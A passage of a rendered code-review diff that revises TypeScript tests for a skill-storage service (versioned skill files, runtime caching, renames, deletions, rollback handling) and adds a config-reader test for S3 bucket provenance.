await db.update(companySkills).set({ sourceRef: "b".repeat(40) }).where(eq(companySkills.id, skillId));
|
||||
expect((await svc.listRuntimeSkillEntries(companyId, { materializeMissing: false })).find((entry) => entry.key === key)!.sourceStatus).toBe("missing");
|
||||
expect(upstream).not.toHaveBeenCalled();
|
||||
// An unavailable newly installed revision must never use the older cache.
|
||||
expect((await svc.listRuntimeSkillEntries(companyId)).find((entry) => entry.key === key)!.sourceStatus).toBe("missing");
|
||||
expect(await fs.readFile(path.join(cold.source, "references/0.md"), "utf8")).toContain("a".repeat(40));
|
||||
upstream.mockImplementation(async (url) => new Response(String(url)));
|
||||
const next = (await svc.listRuntimeSkillEntries(companyId)).find((entry) => entry.key === key)!;
|
||||
expect(next.sourceStatus).toBe("available");
|
||||
expect(next.source).not.toBe(cold.source);
|
||||
expect(await fs.readFile(path.join(next.source, "references/0.md"), "utf8")).toContain("b".repeat(40));
|
||||
expect(await fs.readFile(path.join(cold.source, "references/0.md"), "utf8")).toContain("a".repeat(40));
|
||||
} finally { select.mockRestore(); vi.unstubAllGlobals(); }
|
||||
} finally { vi.unstubAllGlobals(); }
|
||||
});
|
||||
|
||||
it("deduplicates runtime downloads for twenty concurrent service callers and isolates companies", async () => {
|
||||
it("shares immutable materializations for twenty concurrent callers and isolates companies", async () => {
|
||||
const first = await createPinnedRuntimeFixture();
|
||||
const second = await createPinnedRuntimeFixture();
|
||||
const upstream = vi.fn(async (url: string | URL) => new Response(String(url)));
|
||||
@@ -155,10 +136,10 @@ describeEmbeddedPostgres("companySkillService.list", () => {
|
||||
const sources = batches.map((entries) => entries.find((entry) => entry.key === first.key)!);
|
||||
expect(sources.every((entry) => entry.sourceStatus === "available")).toBe(true);
|
||||
expect(new Set(sources.map((entry) => entry.source)).size).toBe(1);
|
||||
expect(upstream).toHaveBeenCalledTimes(21);
|
||||
expect(upstream).not.toHaveBeenCalled();
|
||||
const other = (await svc.listRuntimeSkillEntries(second.companyId)).find((entry) => entry.key === second.key)!;
|
||||
expect(other.source).not.toBe(sources[0].source);
|
||||
expect(upstream).toHaveBeenCalledTimes(42);
|
||||
expect(upstream).not.toHaveBeenCalled();
|
||||
} finally { vi.unstubAllGlobals(); }
|
||||
});
|
||||
|
||||
@@ -198,14 +179,16 @@ describeEmbeddedPostgres("companySkillService.list", () => {
|
||||
expect(await svc.getById(companyId, skill.id)).not.toBeNull();
|
||||
} finally { lockFailure.mockRestore(); }
|
||||
await svc.deleteSkill(companyId, skill.id);
|
||||
await expect(fs.stat(path.dirname(path.dirname(next.source)))).rejects.toMatchObject({ code: "ENOENT" });
|
||||
expect(await db.select().from(companySkillVersions).where(eq(companySkillVersions.companySkillId, skill.id))).toEqual([]);
|
||||
} finally { vi.unstubAllGlobals(); }
|
||||
});
|
||||
|
||||
it("observes edits to a direct local source on the next preparation", async () => {
|
||||
const companyId = randomUUID();
|
||||
await db.insert(companies).values({ id: companyId, name: "Local cache", issuePrefix: `T${companyId.slice(0, 6)}` });
|
||||
const skill = await svc.createLocalSkill(companyId, { name: "Local source", slug: "local-source" });
|
||||
const directory = await createManagedSkillDir(companyId, "linked-local-");
|
||||
await fs.writeFile(path.join(directory, "SKILL.md"), "---\nname: local-source\n---\nLocal source\n");
|
||||
const skill = (await svc.importFromSource(companyId, directory)).imported[0]!;
|
||||
const first = (await svc.listRuntimeSkillEntries(companyId)).find((entry) => entry.key === skill.key)!;
|
||||
await fs.appendFile(path.join(first.source, "SKILL.md"), "\nNew local instructions\n");
|
||||
const next = (await svc.listRuntimeSkillEntries(companyId)).find((entry) => entry.key === skill.key)!;
|
||||
@@ -226,7 +209,7 @@ describeEmbeddedPostgres("companySkillService.list", () => {
|
||||
expect(results.filter((result) => result.status === "rejected")).toHaveLength(1);
|
||||
const skill = await svc.getByKey(companyId, `company/${companyId}/same-slug`);
|
||||
expect(skill).toBeTruthy();
|
||||
expect(await fs.readFile(path.join(skill!.sourceLocator!, "SKILL.md"), "utf8"))
|
||||
expect((await svc.readFile(companyId, skill!.id, "SKILL.md"))!.content)
|
||||
.toMatch(/^# (first|second)\n$/);
|
||||
expect(await db.select().from(companySkillVersions).where(eq(companySkillVersions.companySkillId, skill!.id)))
|
||||
.toHaveLength(1);
|
||||
@@ -242,8 +225,8 @@ describeEmbeddedPostgres("companySkillService.list", () => {
|
||||
})).rejects.toThrow("simulate outer rollback");
|
||||
|
||||
const retried = await svc.createLocalSkill(companyId, input);
|
||||
expect(await fs.readFile(path.join(retried.sourceLocator!, "SKILL.md"), "utf8")).toBe(input.markdown);
|
||||
expect(await db.select().from(companySkills).where(eq(companySkills.companyId, companyId))).toHaveLength(1);
|
||||
expect((await svc.readFile(companyId, retried.id, "SKILL.md"))!.content).toBe(input.markdown);
|
||||
expect(await db.select().from(companySkills).where(and(eq(companySkills.companyId, companyId), eq(companySkills.sourceType, "managed")))).toHaveLength(1);
|
||||
expect(await db.select().from(companySkillVersions).where(eq(companySkillVersions.companySkillId, retried.id))).toHaveLength(1);
|
||||
});
|
||||
|
||||
@@ -254,9 +237,9 @@ describeEmbeddedPostgres("companySkillService.list", () => {
|
||||
await svc.deleteSkill(companyId, original.id);
|
||||
const replacement = await svc.createLocalSkill(companyId, { name: "Recreate", slug: "recreate", markdown: "# New instructions\n" });
|
||||
expect(replacement.id).not.toBe(original.id);
|
||||
expect(await fs.readFile(path.join(replacement.sourceLocator!, "SKILL.md"), "utf8")).toBe("# New instructions\n");
|
||||
expect((await svc.readFile(companyId, replacement.id, "SKILL.md"))!.content).toBe("# New instructions\n");
|
||||
expect(await svc.deleteSkill(companyId, original.id)).toBeNull();
|
||||
expect(await fs.readFile(path.join(replacement.sourceLocator!, "SKILL.md"), "utf8")).toBe("# New instructions\n");
|
||||
expect((await svc.readFile(companyId, replacement.id, "SKILL.md"))!.content).toBe("# New instructions\n");
|
||||
});
|
||||
|
||||
it.each(["save", "delete", "rename"] as const)("rejects a stale file %s after the skill is replaced", async (operation) => {
|
||||
@@ -316,59 +299,38 @@ describeEmbeddedPostgres("companySkillService.list", () => {
|
||||
expect(movedReplacementPaths).toEqual([]);
|
||||
expect(intercepted).toBe(true);
|
||||
expect(replacement).toBeDefined();
|
||||
expect(await fs.readFile(path.join(replacement!.sourceLocator!, "notes.md"), "utf8")).toBe("Replacement notes");
|
||||
expect((await svc.readFile(companyId, replacement!.id, "notes.md"))!.content).toBe("Replacement notes");
|
||||
expect(await svc.getById(companyId, replacement!.id)).not.toBeNull();
|
||||
});
|
||||
|
||||
it("restores managed source files when the deletion transaction fails", async () => {
|
||||
it("retains the committed managed version when deletion rolls back", async () => {
|
||||
const companyId = randomUUID();
|
||||
await db.insert(companies).values({ id: companyId, name: "Delete rollback", issuePrefix: `T${companyId.slice(0, 6)}` });
|
||||
const original = await svc.createLocalSkill(companyId, { name: "Retained", slug: "retained", markdown: "# Keep these instructions\n" });
|
||||
const failingDb = new Proxy(db, {
|
||||
get(target, property, receiver) {
|
||||
if (property === "transaction") return (callback: (tx: any) => Promise<unknown>) => target.transaction(async (tx) => callback(new Proxy(tx, {
|
||||
get(transaction, key, transactionReceiver) {
|
||||
if (key === "delete") return () => { throw new Error("Deletion write failed"); };
|
||||
return Reflect.get(transaction, key, transactionReceiver);
|
||||
},
|
||||
})));
|
||||
return Reflect.get(target, property, receiver);
|
||||
},
|
||||
});
|
||||
await expect(companySkillService(failingDb).deleteSkill(companyId, original.id)).rejects.toThrow("Deletion write failed");
|
||||
expect(await svc.getById(companyId, original.id)).not.toBeNull();
|
||||
expect(await fs.readFile(path.join(original.sourceLocator!, "SKILL.md"), "utf8")).toBe("# Keep these instructions\n");
|
||||
await seedCompany(companyId);
|
||||
const original = await svc.createLocalSkill(companyId, { name: "Retained", markdown: "# Keep these instructions\n" });
|
||||
await expect(svc.deleteSkills(companyId, [original.id], async () => { throw new Error("Deletion write failed"); }))
|
||||
.rejects.toThrow("Deletion write failed");
|
||||
expect(await svc.readFile(companyId, original.id, "SKILL.md"))
|
||||
.toMatchObject({ versionId: original.currentVersionId, content: "# Keep these instructions\n" });
|
||||
});
|
||||
|
||||
it("serializes duplicate deletes with recreation without removing new files", async () => {
|
||||
it("serializes duplicate deletes with recreation without removing the new identity", async () => {
|
||||
const companyId = randomUUID();
|
||||
await db.insert(companies).values({ id: companyId, name: "Delete concurrency", issuePrefix: `T${companyId.slice(0, 6)}` });
|
||||
await seedCompany(companyId);
|
||||
const original = await svc.createLocalSkill(companyId, { name: "Concurrent", slug: "concurrent-delete", markdown: "# Old\n" });
|
||||
let release!: () => void;
|
||||
let staged!: () => void;
|
||||
const gate = new Promise<void>((resolve) => { release = resolve; });
|
||||
const ready = new Promise<void>((resolve) => { staged = resolve; });
|
||||
const rename = fs.rename.bind(fs);
|
||||
const pause = vi.spyOn(fs, "rename").mockImplementation(async (source, target) => {
|
||||
await rename(source, target);
|
||||
if (source === original.sourceLocator) {
|
||||
staged();
|
||||
await gate;
|
||||
}
|
||||
});
|
||||
let release!: () => void, staged!: () => void;
|
||||
const gate = new Promise<void>(resolve => { release = resolve; });
|
||||
const ready = new Promise<void>(resolve => { staged = resolve; });
|
||||
const deletion = svc.deleteSkills(companyId, [original.id], async () => { staged(); await gate; });
|
||||
try {
|
||||
const deletion = svc.deleteSkill(companyId, original.id);
|
||||
await ready;
|
||||
const duplicate = svc.deleteSkill(companyId, original.id);
|
||||
const creation = svc.createLocalSkill(companyId, { name: "Replacement", slug: original.slug, markdown: "# Replacement\n" });
|
||||
release();
|
||||
const [, repeatedDelete, replacement] = await Promise.all([deletion, duplicate, creation]);
|
||||
expect(repeatedDelete).toBeNull();
|
||||
expect(await fs.readFile(path.join(replacement.sourceLocator!, "SKILL.md"), "utf8")).toBe("# Replacement\n");
|
||||
} finally {
|
||||
release();
|
||||
pause.mockRestore();
|
||||
}
|
||||
expect(replacement.id).not.toBe(original.id);
|
||||
expect((await svc.readFile(companyId, replacement.id, "SKILL.md"))!.content).toBe("# Replacement\n");
|
||||
} finally { release(); }
|
||||
});
|
||||
|
||||
it("does not remove imported local source files when deleting a skill", async () => {
|
||||
@@ -382,23 +344,14 @@ describeEmbeddedPostgres("companySkillService.list", () => {
|
||||
expect(await fs.readFile(path.join(source, "SKILL.md"), "utf8")).toBe(markdown);
|
||||
});
|
||||
|
||||
it("rejects a differing retry after rollback without changing durable bytes", async () => {
|
||||
it("permits a fresh create after rollback without adopting the orphaned candidate", async () => {
|
||||
const companyId = randomUUID();
|
||||
await db.insert(companies).values({ id: companyId, name: "Rollback conflict", issuePrefix: `T${companyId.slice(0, 6)}` });
|
||||
const original = { name: "Original", slug: "rollback-conflict", markdown: "# original bytes\n" };
|
||||
await expect(db.transaction(async (tx) => {
|
||||
await companySkillService(tx as any, { packageDb: db }).createLocalSkill(companyId, original);
|
||||
throw new Error("simulate outer rollback");
|
||||
})).rejects.toThrow("simulate outer rollback");
|
||||
|
||||
await expect(svc.createLocalSkill(companyId, {
|
||||
name: "Different",
|
||||
slug: original.slug,
|
||||
markdown: "# changed bytes\n",
|
||||
})).rejects.toMatchObject({ status: 409 });
|
||||
const managedRoot = path.join(paperclipHome!, "instances", "default", "skills", companyId);
|
||||
expect(await fs.readFile(path.join(managedRoot, original.slug, "SKILL.md"), "utf8")).toBe(original.markdown);
|
||||
expect(await db.select().from(companySkills).where(eq(companySkills.companyId, companyId))).toHaveLength(0);
|
||||
await seedCompany(companyId);
|
||||
await expect(svc.createLocalSkill(companyId, { name: "Original", slug: "rolled-back", markdown: "# orphan\n" }, null,
|
||||
{ afterPublish: async () => { throw new Error("rollback"); } })).rejects.toThrow("rollback");
|
||||
const saved = await svc.createLocalSkill(companyId, { name: "Different", slug: "rolled-back", markdown: "# committed\n" });
|
||||
expect((await svc.readFile(companyId, saved.id, "SKILL.md"))!.content).toBe("# committed\n");
|
||||
expect(await db.select().from(companySkills).where(and(eq(companySkills.companyId, companyId), eq(companySkills.sourceType, "managed")))).toHaveLength(1);
|
||||
});
|
||||
|
||||
it("does not adopt an unrelated preexisting managed directory", async () => {
|
||||
@@ -409,20 +362,20 @@ describeEmbeddedPostgres("companySkillService.list", () => {
|
||||
await fs.mkdir(skillDir, { recursive: true });
|
||||
await fs.writeFile(path.join(skillDir, "SKILL.md"), "# unrelated\n", "utf8");
|
||||
|
||||
await expect(svc.createLocalSkill(companyId, {
|
||||
name: "Requested",
|
||||
slug: "occupied",
|
||||
markdown: "# requested\n",
|
||||
})).rejects.toMatchObject({ status: 409 });
|
||||
const saved = await svc.createLocalSkill(companyId, {
|
||||
name: "Requested", slug: "occupied", markdown: "# requested\n",
|
||||
});
|
||||
expect((await svc.readFile(companyId, saved.id, "SKILL.md"))!.content).toBe("# requested\n");
|
||||
expect(await fs.readFile(path.join(skillDir, "SKILL.md"), "utf8")).toBe("# unrelated\n");
|
||||
expect(await db.select().from(companySkills).where(eq(companySkills.companyId, companyId))).toHaveLength(0);
|
||||
expect(await db.select().from(companySkills).where(and(eq(companySkills.companyId, companyId), eq(companySkills.sourceType, "managed")))).toHaveLength(1);
|
||||
});
|
||||
|
||||
it("observes supporting-only local file saves across runtime preparations and service restarts", async () => {
|
||||
const companyId = randomUUID();
|
||||
await db.insert(companies).values({ id: companyId, name: "Local supporting files", issuePrefix: `T${companyId.slice(0, 6)}` });
|
||||
const skill = await svc.createLocalSkill(companyId, { name: "Local references", slug: "local-references" });
|
||||
const source = skill.sourceLocator!;
|
||||
const source = await createManagedSkillDir(companyId, "local-references-");
|
||||
await fs.writeFile(path.join(source, "SKILL.md"), "---\nname: local-references\n---\nRead reference.md\n");
|
||||
const skill = (await svc.importFromSource(companyId, source)).imported[0]!;
|
||||
await fs.writeFile(path.join(source, "reference.md"), "Original supporting file");
|
||||
await db.update(companySkills).set({
|
||||
fileInventory: [...skill.fileInventory, { path: "reference.md", kind: "reference" }],
|
||||
@@ -843,7 +796,7 @@ describeEmbeddedPostgres("companySkillService.list", () => {
|
||||
await svc.list(companyId);
|
||||
await svc.list(companyId);
|
||||
const before = await db.select().from(companySkillVersions).where(eq(companySkillVersions.companyId, companyId));
|
||||
const original = before[0]!;
|
||||
const original = before.find(version => version.releaseId)!;
|
||||
await db.delete(companySkillVersions).where(eq(companySkillVersions.id, original.id));
|
||||
await companySkillService(db).list(companyId);
|
||||
const after = await db.select().from(companySkillVersions).where(eq(companySkillVersions.companyId, companyId));
|
||||
@@ -859,7 +812,7 @@ describeEmbeddedPostgres("companySkillService.list", () => {
|
||||
await db.insert(companies).values({ id: companyId, name: "Release integrity checks", issuePrefix: "RIC" });
|
||||
await svc.list(companyId);
|
||||
await svc.list(companyId);
|
||||
const [version] = await db.select().from(companySkillVersions).where(eq(companySkillVersions.companyId, companyId));
|
||||
const version = (await db.select().from(companySkillVersions).where(eq(companySkillVersions.companyId, companyId))).find(row => row.releaseId)!;
|
||||
const changed = [{ path: "SKILL.md", kind: "skill" as const, content: "Changed stored snapshot" }];
|
||||
await db.update(companySkillVersions).set({ fileInventory: changed }).where(eq(companySkillVersions.id, version!.id));
|
||||
await expect(companySkillService(db).list(companyId)).rejects.toThrow("does not match its seeded snapshot");
|
||||
@@ -883,14 +836,14 @@ describeEmbeddedPostgres("companySkillService.list", () => {
|
||||
if (!paperclipSkill) throw new Error("Expected bundled Paperclip skill");
|
||||
|
||||
const versions = await svc.listVersions(companyId, paperclipSkill.id);
|
||||
expect(versions.map((version) => version.releaseId).sort()).toEqual(["v0", "v7-roster"]);
|
||||
expect(versions).toHaveLength(2);
|
||||
expect(versions.flatMap(version => version.releaseId ? [version.releaseId] : []).sort()).toEqual(["v0", "v7-roster"]);
|
||||
expect(versions).toHaveLength(3);
|
||||
const storedSkill = await db
|
||||
.select({ currentVersionId: companySkills.currentVersionId })
|
||||
.from(companySkills)
|
||||
.where(eq(companySkills.id, paperclipSkill.id))
|
||||
.then((rows) => rows[0]);
|
||||
expect(storedSkill?.currentVersionId).toBeNull();
|
||||
expect(versions.some(version => version.id === storedSkill?.currentVersionId)).toBe(true);
|
||||
|
||||
const champion = versions.find((version) => version.releaseId === "v7-roster");
|
||||
expect(champion).toMatchObject({
|
||||
@@ -1750,7 +1703,7 @@ describeEmbeddedPostgres("companySkillService.list", () => {
|
||||
const normalizedForkSlug = `${sourceType.replace("_", "-")}-skill-fork`;
|
||||
expect(first.skill).toMatchObject({
|
||||
slug: normalizedForkSlug,
|
||||
sourceType: "local_path",
|
||||
sourceType: "managed",
|
||||
forkedFromSkillId: source!.id,
|
||||
});
|
||||
expect(second.skill.slug).toBe(`${normalizedForkSlug}-2`);
|
||||
@@ -3324,7 +3277,7 @@ describeEmbeddedPostgres("companySkillService.list", () => {
|
||||
return `${slug}--${createHash("sha256").update(key).digest("hex").slice(0, 10)}`;
|
||||
}
|
||||
|
||||
it("renames a Paperclip-managed skill, moving the directory and rewriting SKILL.md frontmatter", async () => {
|
||||
it("renames a Paperclip-managed skill by publishing new frontmatter with preserved history", async () => {
|
||||
const companyId = randomUUID();
|
||||
await seedCompany(companyId);
|
||||
const skill = await svc.createLocalSkill(
|
||||
@@ -3332,8 +3285,6 @@ describeEmbeddedPostgres("companySkillService.list", () => {
|
||||
{ name: "Prepare PR", slug: "prepare-pr", description: "Prep pull requests" },
|
||||
{ type: "user", userId: "board" },
|
||||
);
|
||||
const oldDir = skill.sourceLocator!;
|
||||
const managedRoot = path.dirname(oldDir);
|
||||
|
||||
const result = await svc.renameSkill(companyId, skill.id, { name: "Ship PR", slug: "ship-pr" });
|
||||
|
||||
@@ -3350,10 +3301,8 @@ describeEmbeddedPostgres("companySkillService.list", () => {
|
||||
},
|
||||
});
|
||||
|
||||
const newDir = path.join(managedRoot, "ship-pr");
|
||||
expect(result.skill.sourceLocator).toBe(newDir);
|
||||
await expect(fs.stat(oldDir)).rejects.toMatchObject({ code: "ENOENT" });
|
||||
const renamedMarkdown = await fs.readFile(path.join(newDir, "SKILL.md"), "utf8");
|
||||
expect(result.skill.sourceLocator).toBeNull();
|
||||
const renamedMarkdown = (await svc.readFile(companyId, skill.id, "SKILL.md"))!.content;
|
||||
expect(renamedMarkdown).toContain("name: Ship PR");
|
||||
expect(renamedMarkdown).not.toContain("name: Prepare PR");
|
||||
|
||||
@@ -3362,16 +3311,16 @@ describeEmbeddedPostgres("companySkillService.list", () => {
|
||||
expect(persisted).toMatchObject({ description: "Prep pull requests" });
|
||||
expect(persisted?.markdown).toBe(renamedMarkdown);
|
||||
const versions = await svc.listVersions(companyId, skill.id);
|
||||
expect(versions).toHaveLength(1);
|
||||
expect(versions).toHaveLength(2);
|
||||
});
|
||||
|
||||
it("quotes YAML-special names while keeping stored and on-disk markdown synchronized", async () => {
|
||||
it("quotes YAML-special names in both the version and metadata projection", async () => {
|
||||
const companyId = randomUUID();
|
||||
await seedCompany(companyId);
|
||||
const skill = await svc.createLocalSkill(companyId, { name: "Prepare PR", slug: "prepare-pr" });
|
||||
|
||||
const result = await svc.renameSkill(companyId, skill.id, { name: "Ship: PR #1", slug: "ship-pr" });
|
||||
const markdown = await fs.readFile(path.join(result.skill.sourceLocator!, "SKILL.md"), "utf8");
|
||||
const markdown = (await svc.readFile(companyId, skill.id, "SKILL.md"))!.content;
|
||||
const persisted = await svc.getById(companyId, skill.id);
|
||||
|
||||
expect(markdown).toContain('name: "Ship: PR #1"');
|
||||
@@ -3379,7 +3328,7 @@ describeEmbeddedPostgres("companySkillService.list", () => {
|
||||
expect(persisted?.markdown).toBe(markdown);
|
||||
});
|
||||
|
||||
it("supports a name-only rename that keeps the slug/key and directory", async () => {
|
||||
it("supports a name-only rename that keeps the slug and key", async () => {
|
||||
const companyId = randomUUID();
|
||||
await seedCompany(companyId);
|
||||
const skill = await svc.createLocalSkill(
|
||||
@@ -3398,7 +3347,7 @@ describeEmbeddedPostgres("companySkillService.list", () => {
|
||||
key: `company/${companyId}/prepare-pr`,
|
||||
sourceLocator: dir,
|
||||
});
|
||||
const markdown = await fs.readFile(path.join(dir, "SKILL.md"), "utf8");
|
||||
const markdown = (await svc.readFile(companyId, skill.id, "SKILL.md"))!.content;
|
||||
expect(markdown).toContain("name: Prepare Pull Request");
|
||||
});
|
||||
|
||||
@@ -3596,21 +3545,17 @@ describeEmbeddedPostgres("companySkillService.list", () => {
|
||||
expect(other.paperclipSkillSync.desiredSkills).toEqual([`company/${companyId}/unrelated`]);
|
||||
});
|
||||
|
||||
it("removes the old runtime materialization when the key/slug changes", async () => {
|
||||
it("resolves a saved version by stable identity after a rename", async () => {
|
||||
const companyId = randomUUID();
|
||||
await seedCompany(companyId);
|
||||
const skill = await svc.createLocalSkill(companyId, { name: "Runtime Skill", slug: "runtime-skill" });
|
||||
const managedRoot = path.dirname(skill.sourceLocator!);
|
||||
const oldRuntimeDir = path.join(managedRoot, "__runtime__", runtimeSkillName(skill.key, skill.slug));
|
||||
await fs.mkdir(oldRuntimeDir, { recursive: true });
|
||||
await fs.writeFile(path.join(oldRuntimeDir, "SKILL.md"), "# stale\n", "utf8");
|
||||
|
||||
const revisionCacheRoot = path.join(managedRoot, "__runtime_cache_v1__", skill.id);
|
||||
await fs.mkdir(revisionCacheRoot, { recursive: true });
|
||||
await fs.writeFile(path.join(revisionCacheRoot, "old-cache"), "stale");
|
||||
await svc.renameSkill(companyId, skill.id, { name: "Runtime Skill", slug: "runtime-renamed" });
|
||||
await expect(fs.stat(revisionCacheRoot)).rejects.toMatchObject({ code: "ENOENT" });
|
||||
|
||||
await expect(fs.stat(oldRuntimeDir)).rejects.toMatchObject({ code: "ENOENT" });
|
||||
const [before] = await svc.listRuntimeSkillEntries(companyId, { onlyKeys: new Set([skill.key]), snapshotLatest: true });
|
||||
const renamed = await svc.renameSkill(companyId, skill.id, { name: "Renamed Skill", slug: "runtime-renamed" });
|
||||
const [pinned] = await svc.listRuntimeSkillEntries(companyId, { onlyKeys: new Set([skill.key]), snapshotLatest: true,
|
||||
versionSelections: new Map([[skill.key, before!.versionId!]]) });
|
||||
expect(pinned).toMatchObject({ key: skill.key, versionId: before!.versionId, runtimeName: before!.runtimeName });
|
||||
expect(await fs.readFile(path.join(pinned!.source, "SKILL.md"), "utf8")).toBe(skill.markdown);
|
||||
expect(renamed.skill.currentVersionId).not.toBe(before!.versionId);
|
||||
});
|
||||
|
||||
});
|
||||
@@ -91,6 +91,20 @@ describe("readConfigFile", () => {
|
||||
});
|
||||
});
|
||||
|
||||
it("preserves explicit bucket provenance without changing defaults for existing readers", () => {
|
||||
for (const bucket of [undefined, "paperclip"]) {
|
||||
writeConfig(configPath, {
|
||||
...minimalConfig() as object,
|
||||
storage: { provider: "s3", s3: bucket === undefined ? {} : { bucket } },
|
||||
});
|
||||
expect(readConfigFile()?.storage.s3.bucket).toBe("paperclip");
|
||||
expect(readConfigFile({ includeProvenance: true })).toMatchObject({
|
||||
config: { storage: { s3: { bucket: "paperclip" } } },
|
||||
explicitStorageS3Bucket: bucket !== undefined,
|
||||
});
|
||||
}
|
||||
});
|
||||
|
||||
it("warns about likely misspellings without stripping them", () => {
|
||||
const config = {
|
||||
...(minimalConfig() as Record<string, unknown>),
|
||||
|
||||
Loaded 100 of 401 files, more files were not shown because too many files have changed in this diff.
Show more
Reference in new issue
Block a user